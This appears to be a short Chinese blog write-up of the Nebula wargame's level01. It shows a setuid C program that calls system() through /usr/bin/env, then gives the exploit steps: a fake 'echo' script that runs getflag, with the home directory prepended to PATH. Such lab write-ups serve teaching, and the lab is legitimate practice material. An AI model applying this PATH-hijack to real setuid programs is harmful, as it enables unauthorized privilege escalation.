nebula 01

這一關是找出一個程序可以執行任意程序的漏洞

 1#include <stdlib.h>
 2#include <unistd.h>
 3#include <string.h>
 4#include <sys/types.h>
 5#include <stdio.h>
 6
 7int main(int argc, char **argv, char **envp)
 8{
 9  gid_t gid;
10  uid_t uid;
11  gid = getegid();
12  uid = geteuid();
13
14  setresgid(gid, gid, gid);
15  setresuid(uid, uid, uid);
16
17  system("/usr/bin/env echo and now what?");
18}
問題出在/usr/bin/env這個命令,用這個命令啓動後面的shell命令

在自己的主目錄建立一個叫echo的腳本,想執行什麼就寫什麼,然後權限設置爲可執行,接下來把當前目錄加到PATH環境變量的最前端

export PATH=/home/level01/:$PATH

然後執行這個程序,就可以調到我們的假的echo命令了

echo:

#!/bin/bash

getflag

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章